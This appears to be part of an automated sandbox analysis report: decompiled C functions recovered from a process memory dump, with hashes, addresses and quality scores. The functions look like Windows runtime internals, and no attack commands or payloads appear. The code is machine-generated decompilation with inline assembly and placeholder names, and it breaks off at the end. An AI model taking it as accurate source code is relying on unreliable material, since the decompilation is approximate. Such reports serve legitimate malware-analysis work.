0x046c4259
0x046c425e
0x046c4263
0x046c4265
0x046c4273
0x046c4278
0x046c427c
0x046c427f
0x046c4281
0x046c4287
0x046c42d7
0x046c42d7
0x046c42da
0x046c428d
0x046c428d
0x046c428f
0x046c4292
0x046c4297
0x046c429c
0x046c42a0
0x046c42a6
0x046c42a8
0x046c42ae
0x046c42b3
0x00000000
0x046c42ba
0x046c42ba
0x046c42bf
0x046c42c5
0x046c42ca
0x046c42cf
0x046c42d0
0x00000000
0x046c42d0
0x046c42b3
0x00000000
0x046c42a6
0x046c429c
0x046c42dc
0x046c42dc
0x046c42e3
0x046c4309
0x046c42e5
0x046c42e5
0x046c42e8
0x046c42ee
0x046c42f0
0x00000000
0x046c42f2
0x046c42f2
0x046c42f4
0x046c42f7
0x046c42f9
0x046c4300
0x046c4300
0x046c42f0
0x046c430e
0x046c431f

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6abc3cd60624d0e4f9e95bb02f4d0aa6a762f7d7d1ef411cc4e3bb1b8a2e7ca
Instruction ID: 80d53a18d3d77d8e45604c4a33ab7c072968e136332af1f9a0586f51879d588e
Opcode Fuzzy Hash: b6abc3cd60624d0e4f9e95bb02f4d0aa6a762f7d7d1ef411cc4e3bb1b8a2e7ca
Instruction Fuzzy Hash: 58216D70901641DFD724EFA5D21066477F5FF85319B11C26EC1498B390FB3AE881CB45

Uniqueness

Uniqueness Score: -1.00%

Function 046B46A7, Relevance: .1, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E046B46A7(signed short* __ecx, unsigned int __edx, char* _a4) {
				signed short* _v8;
				unsigned int _v12;
				intOrPtr _v16;
				signed int _t22;
				signed char _t23;
				short _t32;
				void* _t38;
				char* _t40;

				_v12 = __edx;
				_t29 = 0;
				_v8 = __ecx;
				_v16 =  *((intOrPtr*)( *[fs:0x30] + 0x18));
				_t38 = L04654620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0,  *__ecx & 0x0000ffff);
				if(_t38 != 0) {
					_t40 = _a4;
					 *_t40 = 1;
					E0467F3E0(_t38, _v8[2],  *_v8 & 0x0000ffff);
					_t22 = _v12 >> 1;
					_t32 = 0x2e;
					 *((short*)(_t38 + _t22 * 2)) = _t32;
					 *((short*)(_t38 + 2 + _t22 * 2)) = 0;
					_t23 = E0466D268(_t38, 1);
					asm("sbb al, al");
					 *_t40 =  ~_t23 + 1;
					L046577F0(_v16, 0, _t38);
				} else {
					 *_a4 = 0;
					_t29 = 0xc0000017;
				}
				return _t29;
			}

0x046b46b7
0x046b46ba
0x046b46c5
0x046b46c8
0x046b46d0
0x046b46d4
0x046b46e6
0x046b46e9
0x046b46f4
0x046b46ff
0x046b4705
0x046b4706
0x046b470c
0x046b4713
0x046b471b
0x046b4723
0x046b4725
0x046b46d6
0x046b46d9
0x046b46db
0x046b46db
0x046b4732

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c02f93804e98639f40e64f25065eaa58b5c60d6a79ebe6421c16f95bf281ade
Instruction ID: ccd1c0916ba90fb6d799f5f11c4d06d9fcf4596b40d4f0b12eb2f15671d9adcb
Opcode Fuzzy Hash: 6c02f93804e98639f40e64f25065eaa58b5c60d6a79ebe6421c16f95bf281ade
Instruction Fuzzy Hash: A8112572604208BBD7059F5CD8809BEBBB9EF95304F1080AEFD84CB351EA319D51D7A8

Uniqueness

Uniqueness Score: -1.00%

Function 04662397, Relevance: .1, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 34%

			E04662397(intOrPtr _a4) {
				void* __ebx;
				void* __ecx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t11;
				void* _t19;
				void* _t25;
				void* _t26;
				intOrPtr _t27;
				void* _t28;
				void* _t29;

				_t27 =  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x294));
				if( *0x472848c != 0) {
					L0465FAD0(0x4728610);
					if( *0x472848c == 0) {
						E0465FA00(0x4728610, _t19, _t27, 0x4728610);
						goto L1;
					} else {
						_push(0);
						_push(_a4);
						_t26 = 4;
						_t29 = E04662581(0x4728610, 0x46150a0, _t26, _t27, _t28);
						E0465FA00(0x4728610, 0x46150a0, _t27, 0x4728610);
					}
				} else {
					L1:
					_t11 =  *0x4728614; // 0x1
					if(_t11 == 0) {
						_t11 = E04674886(0x4611088, 1, 0x4728614);
					}
					_push(0);
					_push(_a4);
					_t25 = 4;
					_t29 = E04662581(0x4728610, (_t11 << 4) + 0x4615070, _t25, _t27, _t28);
				}
				if(_t29 != 0) {
					 *((intOrPtr*)(_t29 + 0x38)) = _t27;
					 *((char*)(_t29 + 0x40)) = 0;
				}
				return _t29;
			}

0x046623b0
0x046623b6
0x04662409
0x04662415
0x046a5ae9
0x00000000
0x0466241b
0x0466241b
0x0466241d
0x04662427
0x0466242e
0x04662430
0x04662430
0x046623b8
0x046623b8
0x046623b8
0x046623bf
0x046623fc
0x046623fc
0x046623c1
0x046623c3
0x046623d0
0x046623d8
0x046623d8
0x046623dc
0x046623de
0x046623e1
0x046623e1
0x046623ec

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0daad9b7f28dabba782183899ad696564f87530d1bcd2990fcf7390d9a50e62d
Instruction ID: d9b801a61cbaa74606f6dbd7d48c031dea16a0568a4bc732b4208130ed3a7f32
Opcode Fuzzy Hash: 0daad9b7f28dabba782183899ad696564f87530d1bcd2990fcf7390d9a50e62d
Instruction Fuzzy Hash: 41110831700750A7F330BA29AD50B15B38DEBA0715F19856AEA03F7361FAB5FD01879A

Uniqueness

Uniqueness Score: -1.00%

Function 046737F5, Relevance: .1, Instructions: 57
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E046737F5(void* __ecx, intOrPtr* __edx) {
				void* __ebx;
				void* __edi;
				signed char _t6;
				intOrPtr _t13;
				intOrPtr* _t20;
				intOrPtr* _t27;
				void* _t28;
				intOrPtr* _t29;

				_t27 = __edx;
				_t28 = __ecx;
				if(__edx == 0) {
					E04652280(_t6, 0x4728550);
				}
				_t29 = E0467387E(_t28);
				if(_t29 == 0) {
					L6:
					if(_t27 == 0) {
						E0464FFB0(0x4728550, _t27, 0x4728550);
					}
					if(_t29 == 0) {
						return 0xc0000225;
					} else {
						if(_t27 != 0) {
							goto L14;
						}
						L046577F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t27, _t29);
						goto L11;
					}
				} else {
					_t13 =  *_t29;
					if( *((intOrPtr*)(_t13 + 4)) != _t29) {
						L13:
						_push(3);
						asm("int 0x29");
						L14:
						 *_t27 = _t29;
						L11:
						return 0;
					}
					_t20 =  *((intOrPtr*)(_t29 + 4));
					if( *_t20 != _t29) {
						goto L13;
					}
					 *_t20 = _t13;
					 *((intOrPtr*)(_t13 + 4)) = _t20;
					asm("btr eax, ecx");
					goto L6;
				}
			}

0x046737fa
0x046737fc
0x04673805
0x04673808
0x04673808
0x04673814
0x04673818
0x04673846
0x04673848
0x0467384b
0x0467384b
0x04673852
0x00000000
0x04673854
0x04673856
0x00000000
0x00000000
0x04673863
0x00000000
0x04673863
0x0467381a
0x0467381a
0x0467381f
0x0467386e
0x0467386e
0x04673871
0x04673873
0x04673873
0x04673868
0x00000000
0x04673868
0x04673821
0x04673826
0x00000000
0x00000000
0x04673828
0x0467382a
0x04673841
0x00000000
0x04673841

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78701f2eb0e15be568fe169212e9ba73b8a9e3c4c58a11fc2171be01ab2474ca
Instruction ID: 26080eaa6512756c6b84b138c963bc27988e0988acf94b646241070253a7c78b
Opcode Fuzzy Hash: 78701f2eb0e15be568fe169212e9ba73b8a9e3c4c58a11fc2171be01ab2474ca
Instruction Fuzzy Hash: BB01F9B2A016109BD3378F5ADA40E26BBA6DFD5B50B15406EEC458B311F738F881D7D0

Uniqueness

Uniqueness Score: -1.00%

Function 0463C962, Relevance: .1, Instructions: 57
COMMON

Download Yara Rule

C-Code - Quality: 42%

			E0463C962(char __ecx) {
				signed int _v8;
				intOrPtr _v12;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t19;
				char _t22;
				intOrPtr _t26;
				intOrPtr _t27;
				char _t32;
				char _t34;
				intOrPtr _t35;
				intOrPtr _t37;
				intOrPtr* _t38;
				signed int _t39;

				_t41 = (_t39 & 0xfffffff8) - 0xc;
				_v8 =  *0x472d360 ^ (_t39 & 0xfffffff8) - 0x0000000c;
				_t34 = __ecx;
				if(( *( *[fs:0x30] + 0x68) & 0x00000100) != 0) {
					_t26 = 0;
					E0464EEF0(0x47270a0);
					_t29 =  *((intOrPtr*)(_t34 + 0x18));
					if(E046BF625( *((intOrPtr*)(_t34 + 0x18))) != 0) {
						L9:
						E0464EB70(_t29, 0x47270a0);
						_t19 = _t26;
						L2:
						_pop(_t35);
						_pop(_t37);
						_pop(_t27);
						return E0467B640(_t19, _t27, _v8 ^ _t41, _t32, _t35, _t37);
					}
					_t29 = _t34;
					_t26 = E046BF1FC(_t34, _t32);
					if(_t26 < 0) {
						goto L9;
					}
					_t38 =  *0x47270c0; // 0x0
					while(_t38 != 0x47270c0) {
						_t22 =  *((intOrPtr*)(_t38 + 0x18));
						_t38 =  *_t38;
						_v12 = _t22;
						if(_t22 != 0) {
							_t29 = _t22;
							 *0x472b1e0( *((intOrPtr*)(_t34 + 0x30)),  *((intOrPtr*)(_t34 + 0x18)),  *((intOrPtr*)(_t34 + 0x20)), _t34);
							_v12();
						}
					}
					goto L9;
				}
				_t19 = 0;
				goto L2;
			}

0x0463c96a
0x0463c974
0x0463c988
0x0463c98a
0x046a7c9d
0x046a7c9f
0x046a7ca4
0x046a7cae
0x046a7cf0
0x046a7cf5
0x046a7cfa
0x0463c992
0x0463c996
0x0463c997
0x0463c998
0x0463c9a3
0x0463c9a3
0x046a7cb0
0x046a7cb7
0x046a7cbb
0x00000000
0x00000000
0x046a7cbd
0x046a7ce8
0x046a7cc5
0x046a7cc8
0x046a7cca
0x046a7cd0
0x046a7cd6
0x046a7cde
0x046a7ce4
0x046a7ce4
0x046a7cd0
0x00000000
0x046a7ce8
0x0463c990
0x00000000

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d62ab20705a0dd965c846cee60f63cd1c10756922797a8513ccbec2ffa02baf6
Instruction ID: 109926f892d77b0b94784c8d01ec1900ac95196ebae9fe537115729610a35c6c
Opcode Fuzzy Hash: d62ab20705a0dd965c846cee60f63cd1c10756922797a8513ccbec2ffa02baf6
Instruction Fuzzy Hash: D5110271300A069FC724AF68CE8196B77A1FB88619F00053CE94283750FB21FD24CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 0466002D, Relevance: .1, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0466002D() {
				void* _t11;
				char* _t14;
				signed char* _t16;
				char* _t27;
				signed char* _t29;

				_t11 = E04657D50();
				_t27 = 0x7ffe0384;
				if(_t11 != 0) {
					_t14 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
				} else {
					_t14 = 0x7ffe0384;
				}
				_t29 = 0x7ffe0385;
				if( *_t14 != 0) {
					if(E04657D50() == 0) {
						_t16 = 0x7ffe0385;
					} else {
						_t16 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
					}
					if(( *_t16 & 0x00000040) != 0) {
						goto L18;
					} else {
						goto L3;
					}
				} else {
					L3:
					if(E04657D50() != 0) {
						_t27 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
					}
					if( *_t27 != 0) {
						if(( *( *[fs:0x30] + 0x240) & 0x00000004) == 0) {
							goto L5;
						}
						if(E04657D50() != 0) {
							_t29 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
						}
						if(( *_t29 & 0x00000020) == 0) {
							goto L5;
						}
						L18:
						return 1;
					} else {
						L5:
						return 0;
					}
				}
			}

0x04660032
0x04660037
0x04660043
0x046a4b3a
0x04660049
0x04660049
0x04660049
0x0466004e
0x04660053
0x046a4b48
0x046a4b5a
0x046a4b4a
0x046a4b53
0x046a4b53
0x046a4b5f
0x00000000
0x046a4b61
0x00000000
0x046a4b61
0x04660059
0x04660059
0x04660060
0x046a4b6f
0x046a4b6f
0x04660069
0x046a4b83
0x00000000
0x00000000
0x046a4b90
0x046a4b9b
0x046a4b9b
0x046a4ba4
0x00000000
0x00000000
0x046a4baa
0x00000000
0x0466006f
0x0466006f
0x00000000
0x0466006f
0x04660069

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d774e958955e2a4888292503cae141afd510c2672050b36ba74763b54e4c63a
Instruction ID: 906154b78c793681eb98d3d81585d69cd5549c5b34045c8665a72519474ff672
Opcode Fuzzy Hash: 8d774e958955e2a4888292503cae141afd510c2672050b36ba74763b54e4c63a
Instruction Fuzzy Hash: 2C11E132605A808FE722CB28CD44B357798EF50758F0900B1DD06877A2FBA8FC52CA64

Uniqueness

Uniqueness Score: -1.00%

Function 0464766D, Relevance: .1, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E0464766D(void* __ecx, signed int __edx, signed int _a4, signed int _a8, signed int _a12, intOrPtr* _a16) {
				char _v8;
				void* _t22;
				void* _t24;
				intOrPtr _t29;
				intOrPtr* _t30;
				void* _t42;
				intOrPtr _t47;

				_push(__ecx);
				_t36 =  &_v8;
				if(E0466F3D5( &_v8, __edx * _a4, __edx * _a4 >> 0x20) < 0) {
					L10:
					_t22 = 0;
				} else {
					_t24 = _v8 + __ecx;
					_t42 = _t24;
					if(_t24 < __ecx) {
						goto L10;
					} else {
						if(E0466F3D5( &_v8, _a8 * _a12, _a8 * _a12 >> 0x20) < 0) {
							goto L10;
						} else {
							_t29 = _v8 + _t42;
							if(_t29 < _t42) {
								goto L10;
							} else {
								_t47 = _t29;
								_t30 = _a16;
								if(_t30 != 0) {
									 *_t30 = _t47;
								}
								if(_t47 == 0) {
									goto L10;
								} else {
									_t22 = L04654620(_t36,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t47);
								}
							}
						}
					}
				}
				return _t22;
			}

0x04647672
0x0464767f
0x04647689
0x046476de
0x046476de
0x0464768b
0x04647691
0x04647693
0x04647697
0x00000000
0x04647699
0x046476a8
0x00000000
0x046476aa
0x046476ad
0x046476b1
0x00000000
0x046476b3
0x046476b3
0x046476b5
0x046476ba
0x046476bc
0x046476bc
0x046476c0
0x00000000
0x046476c2
0x046476ce
0x046476ce
0x046476c0
0x046476b1
0x046476a8
0x04647697
0x046476d9

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f0f9780e106b949b133bc76075252866a2fc865c05abd63e27a9356099b865c
Instruction ID: 936b84b2a22c72d6f7a17d6d2091c568523a6e76b575edbbdddda5ab829e62e9
Opcode Fuzzy Hash: 0f0f9780e106b949b133bc76075252866a2fc865c05abd63e27a9356099b865c
Instruction Fuzzy Hash: CC017532700119ABDB60AE6EDC41E9B77AEEBC4761B240524B909DB250FB20ED0187A4

Uniqueness

Uniqueness Score: -1.00%

Function 046CC450, Relevance: .1, Instructions: 53
COMMON

Download Yara Rule

C-Code - Quality: 46%

			E046CC450(intOrPtr* _a4) {
				signed char _t25;
				intOrPtr* _t26;
				intOrPtr* _t27;

				_t26 = _a4;
				_t25 =  *(_t26 + 0x10);
				if((_t25 & 0x00000003) != 1) {
					_push(0);
					_push(0);
					_push(0);
					_push( *((intOrPtr*)(_t26 + 8)));
					_push(0);
					_push( *_t26);
					E04679910();
					_t25 =  *(_t26 + 0x10);
				}
				if((_t25 & 0x00000001) != 0) {
					_push(4);
					_t7 = _t26 + 4; // 0x4
					_t27 = _t7;
					_push(_t27);
					_push(5);
					_push(0xfffffffe);
					E046795B0();
					if( *_t27 != 0) {
						_push( *_t27);
						E046795D0();
					}
				}
				_t8 = _t26 + 0x14; // 0x14
				if( *((intOrPtr*)(_t26 + 8)) != _t8) {
					L046577F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0,  *((intOrPtr*)(_t26 + 8)));
				}
				_push( *_t26);
				E046795D0();
				return L046577F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t26);
			}

0x046cc458
0x046cc45d
0x046cc466
0x046cc468
0x046cc469
0x046cc46a
0x046cc46b
0x046cc46e
0x046cc46f
0x046cc471
0x046cc476
0x046cc476
0x046cc47c
0x046cc47e
0x046cc480
0x046cc480
0x046cc483
0x046cc484
0x046cc486
0x046cc488
0x046cc48f
0x046cc491
0x046cc493
0x046cc493
0x046cc48f
0x046cc498
0x046cc49e
0x046cc4ad
0x046cc4ad
0x046cc4b2
0x046cc4b4
0x046cc4cd

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: efb8dbafbc21be99c6828cd6b94329c97088fdc8e1727ade4875afce538aa955
Instruction ID: f04f1c2c7a19ffd0f9bf523e6bfff986f3ad7804a2f46654b75f2aedf6774421
Opcode Fuzzy Hash: efb8dbafbc21be99c6828cd6b94329c97088fdc8e1727ade4875afce538aa955
Instruction Fuzzy Hash: 0F0192B2140605BFF721AF65CC80E62FB7DFF54395F108529F11442660EB21BCA0CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 04639080, Relevance: .1, Instructions: 53
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E04639080(void* __ebx, intOrPtr* __ecx, void* __edi, void* __esi) {
				intOrPtr* _t51;
				intOrPtr _t59;
				signed int _t64;
				signed int _t67;
				signed int* _t71;
				signed int _t74;
				signed int _t77;
				signed int _t82;
				intOrPtr* _t84;
				void* _t85;
				intOrPtr* _t87;
				void* _t94;
				signed int _t95;
				intOrPtr* _t97;
				signed int _t99;
				signed int _t102;
				void* _t104;

				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_t97 = __ecx;
				_t102 =  *(__ecx + 0x14);
				if((_t102 & 0x02ffffff) == 0x2000000) {
					_t102 = _t102 | 0x000007d0;
				}
				_t48 =  *[fs:0x30];
				if( *((intOrPtr*)( *[fs:0x30] + 0x64)) == 1) {
					_t102 = _t102 & 0xff000000;
				}
				_t80 = 0x47285ec;
				E04652280(_t48, 0x47285ec);
				_t51 =  *_t97 + 8;
				if( *_t51 != 0) {
					L6:
					return E0464FFB0(_t80, _t97, _t80);
				} else {
					 *(_t97 + 0x14) = _t102;
					_t84 =  *0x472538c; // 0xa79da8
					if( *_t84 != 0x4725388) {
						_t85 = 3;
						asm("int 0x29");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						_push(0x2c);
						_push(0x470f6e8);
						E0468D0E8(0x47285ec, _t97, _t102);
						 *((char*)(_t104 - 0x1d)) = 0;
						_t99 =  *(_t104 + 8);
						__eflags = _t99;
						if(_t99 == 0) {
							L13:
							__eflags =  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28));
							if(__eflags == 0) {
								E047088F5(_t80, _t85, 0x4725388, _t99, _t102, __eflags);
							}
						} else {
							__eflags = _t99 -  *0x47286c0; // 0xa607b0
							if(__eflags == 0) {
								goto L13;
							} else {
								__eflags = _t99 -  *0x47286b8; // 0x0
								if(__eflags == 0) {
									goto L13;
								} else {
									_t59 =  *((intOrPtr*)( *[fs:0x30] + 0xc));
									__eflags =  *((char*)(_t59 + 0x28));
									if( *((char*)(_t59 + 0x28)) == 0) {
										E04652280(_t99 + 0xe0, _t99 + 0xe0);
										 *(_t104 - 4) =  *(_t104 - 4) & 0x00000000;
										__eflags =  *((char*)(_t99 + 0xe5));
										if(__eflags != 0) {
											E047088F5(0x47285ec, _t85, 0x4725388, _t99, _t102, __eflags);
										} else {
											__eflags =  *((char*)(_t99 + 0xe4));
											if( *((char*)(_t99 + 0xe4)) == 0) {
												 *((char*)(_t99 + 0xe4)) = 1;
												_push(_t99);
												_push( *((intOrPtr*)(_t99 + 0x24)));
												E0467AFD0();
											}
											while(1) {
												_t71 = _t99 + 8;
												 *(_t104 - 0x2c) = _t71;
												_t80 =  *_t71;
												_t95 = _t71[1];
												 *(_t104 - 0x28) = _t80;
												 *(_t104 - 0x24) = _t95;
												while(1) {
													L19:
													__eflags = _t95;
													if(_t95 == 0) {
														break;
													}
													_t102 = _t80;
													 *(_t104 - 0x30) = _t95;
													 *(_t104 - 0x24) = _t95 - 1;
													asm("lock cmpxchg8b [edi]");
													_t80 = _t102;
													 *(_t104 - 0x28) = _t80;
													 *(_t104 - 0x24) = _t95;
													__eflags = _t80 - _t102;
													_t99 =  *(_t104 + 8);
													if(_t80 != _t102) {
														continue;
													} else {
														__eflags = _t95 -  *(_t104 - 0x30);
														if(_t95 !=  *(_t104 - 0x30)) {
															continue;
														} else {
															__eflags = _t95;
															if(_t95 != 0) {
																_t74 = 0;
																 *(_t104 - 0x34) = 0;
																_t102 = 0;
																__eflags = 0;
																while(1) {
																	 *(_t104 - 0x3c) = _t102;
																	__eflags = _t102 - 3;
																	if(_t102 >= 3) {
																		break;
																	}
																	__eflags = _t74;
																	if(_t74 != 0) {
																		L49:
																		_t102 =  *_t74;
																		__eflags = _t102;
																		if(_t102 != 0) {
																			_t102 =  *(_t102 + 4);
																			__eflags = _t102;
																			if(_t102 != 0) {
																				 *0x472b1e0(_t74, _t99);
																				 *_t102();
																			}
																		}
																		do {
																			_t71 = _t99 + 8;
																			 *(_t104 - 0x2c) = _t71;
																			_t80 =  *_t71;
																			_t95 = _t71[1];
																			 *(_t104 - 0x28) = _t80;
																			 *(_t104 - 0x24) = _t95;
																			goto L19;
																		} while (_t74 == 0);
																		goto L49;
																	} else {
																		_t82 = 0;
																		__eflags = 0;
																		while(1) {
																			 *(_t104 - 0x38) = _t82;
																			__eflags = _t82 -  *0x47284c0;
																			if(_t82 >=  *0x47284c0) {
																				break;
																			}
																			__eflags = _t74;
																			if(_t74 == 0) {
																				_t77 = E04709063(_t82 * 0xc +  *((intOrPtr*)(_t99 + 0x10 + _t102 * 4)), _t95, _t99);
																				__eflags = _t77;
																				if(_t77 == 0) {
																					_t74 = 0;
																					__eflags = 0;
																				} else {
																					_t74 = _t77 + 0xfffffff4;
																				}
																				 *(_t104 - 0x34) = _t74;
																				_t82 = _t82 + 1;
																				continue;
																			}
																			break;
																		}
																		_t102 = _t102 + 1;
																		continue;
																	}
																	goto L20;
																}
																__eflags = _t74;
															}
														}
													}
													break;
												}
												L20:
												 *((intOrPtr*)(_t99 + 0xf4)) =  *((intOrPtr*)(_t104 + 4));
												 *((char*)(_t99 + 0xe5)) = 1;
												 *((char*)(_t104 - 0x1d)) = 1;
												goto L21;
											}
										}
										L21:
										 *(_t104 - 4) = 0xfffffffe;
										E0463922A(_t99);
										_t64 = E04657D50();
										__eflags = _t64;
										if(_t64 != 0) {
											_t67 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
										} else {
											_t67 = 0x7ffe0386;
										}
										__eflags =  *_t67;
										if( *_t67 != 0) {
											_t67 = E04708B58(_t99);
										}
										__eflags =  *((char*)(_t104 - 0x1d));
										if( *((char*)(_t104 - 0x1d)) != 0) {
											__eflags = _t99 -  *0x47286c0; // 0xa607b0
											if(__eflags != 0) {
												__eflags = _t99 -  *0x47286b8; // 0x0
												if(__eflags == 0) {
													_t94 = 0x47286bc;
													_t87 = 0x47286b8;
													goto L27;
												} else {
													__eflags = _t67 | 0xffffffff;
													asm("lock xadd [edi], eax");
													if(__eflags == 0) {
														E04639240(_t80, _t99, _t99, _t102, __eflags);
													}
												}
											} else {
												_t94 = 0x47286c4;
												_t87 = 0x47286c0;
												L27:
												E04669B82(_t80, _t87, _t94, _t99, _t102, __eflags);
											}
										}
									} else {
										goto L13;
									}
								}
							}
						}
						return E0468D130(_t80, _t99, _t102);
					} else {
						 *_t51 = 0x4725388;
						 *((intOrPtr*)(_t51 + 4)) = _t84;
						 *_t84 = _t51;
						 *0x472538c = _t51;
						goto L6;
					}
				}
			}

0x04639082
0x04639083
0x04639084
0x04639085
0x04639087
0x04639096
0x04639098
0x04639098
0x0463909e
0x046390a8
0x046390e7
0x046390e7
0x046390aa
0x046390b0
0x046390b7
0x046390bd
0x046390dd
0x046390e6
0x046390bf
0x046390bf
0x046390c7
0x046390cf
0x046390f1
0x046390f2
0x046390f4
0x046390f5
0x046390f6
0x046390f7
0x046390f8
0x046390f9
0x046390fa
0x046390fb
0x046390fc
0x046390fd
0x046390fe
0x046390ff
0x04639100
0x04639102
0x04639107
0x0463910c
0x04639110
0x04639113
0x04639115
0x04639136
0x0463913f
0x04639143
0x046937e4
0x046937e4
0x04639117
0x04639117
0x0463911d
0x00000000
0x0463911f
0x0463911f
0x04639125
0x00000000
0x04639127
0x0463912d
0x04639130
0x04639134
0x04639158
0x0463915d
0x04639161
0x04639168
0x04693715
0x0463916e
0x0463916e
0x04639175
0x04639177
0x0463917e
0x0463917f
0x04639182
0x04639182
0x04639187
0x04639187
0x0463918a
0x0463918d
0x0463918f
0x04639192
0x04639195
0x04639198
0x04639198
0x04639198
0x0463919a
0x00000000
0x00000000
0x0469371f
0x04693721
0x04693727
0x0469372f
0x04693733
0x04693735
0x04693738
0x0469373b
0x0469373d
0x04693740
0x00000000
0x04693746
0x04693746
0x04693749
0x00000000
0x0469374f
0x0469374f
0x04693751
0x04693757
0x04693759
0x0469375c
0x0469375c
0x0469375e
0x0469375e
0x04693761
0x04693764
0x00000000
0x00000000
0x04693766
0x04693768
0x046937a3
0x046937a3
0x046937a5
0x046937a7
0x046937ad
0x046937b0
0x046937b2
0x046937bc
0x046937c2
0x046937c2
0x046937b2
0x04639187
0x04639187
0x0463918a
0x0463918d
0x0463918f
0x04639192
0x04639195
0x00000000
0x04639195
0x00000000
0x0469376a
0x0469376a
0x0469376a
0x0469376c
0x0469376c
0x0469376f
0x04693775
0x00000000
0x00000000
0x04693777
0x04693779
0x04693782
0x04693787
0x04693789
0x04693790
0x04693790
0x0469378b
0x0469378b
0x0469378b
0x04693792
0x04693795
0x00000000
0x04693795
0x00000000
0x04693779
0x04693798
0x00000000
0x04693798
0x00000000
0x04693768
0x0469379b
0x0469379b
0x04693751
0x04693749
0x00000000
0x04693740
0x046391a0
0x046391a3
0x046391a9
0x046391b0
0x00000000
0x046391b0
0x04639187
0x046391b4
0x046391b4
0x046391bb
0x046391c0
0x046391c5
0x046391c7
0x046937da
0x046391cd
0x046391cd
0x046391cd
0x046391d2
0x046391d5
0x04639239
0x04639239
0x046391d7
0x046391db
0x046391e1
0x046391e7
0x046391fd
0x04639203
0x0463921e
0x04639223
0x00000000
0x04639205
0x04639205
0x04639208
0x0463920c
0x04639214
0x04639214
0x0463920c
0x046391e9
0x046391e9
0x046391ee
0x046391f3
0x046391f3
0x046391f3
0x046391e7
0x00000000
0x00000000
0x00000000
0x04639134
0x04639125
0x0463911d
0x0463914e
0x046390d1
0x046390d1
0x046390d3
0x046390d6
0x046390d8
0x00000000
0x046390d8
0x046390cf

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad6be59323d71d874044d982bf309d7418fc81dfec4977f218d918c73f05463b
Instruction ID: 48dea80f715b65db6d557c80793f08cde73a9128c7481d6aee074df01416d4a3
